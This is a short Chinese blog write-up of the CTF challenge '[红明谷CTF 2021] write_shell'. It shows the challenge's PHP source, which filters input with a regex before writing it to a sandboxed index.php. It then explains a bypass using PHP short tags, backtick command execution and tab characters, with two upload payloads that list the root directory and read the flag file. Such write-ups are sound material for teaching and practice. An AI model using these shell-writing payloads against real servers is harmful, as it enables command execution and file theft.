刷题笔记:[红明谷CTF 2021]write_shell


前言

关键字:[短标签|反引号]

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

题解

重点就是绕过正则,不能用异或/取反,数组也不行

看到php都被检测了,第一反应肯定是短标签

但被检测了很多东西,所以类似<?=@eval($_POST['cmd']);?>就没法

最后是短标签+反引号,至于空格用tab(%09)代替

  • 反引号等价于shell_exec()

    1. 关闭了shell_exec()时反引号运算符是无效的。
    2. 与其它某些语言不同,反引号不能在双引号字符串中使用。

payload:

?action=upload&data=<?=`ls%09/`?>

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录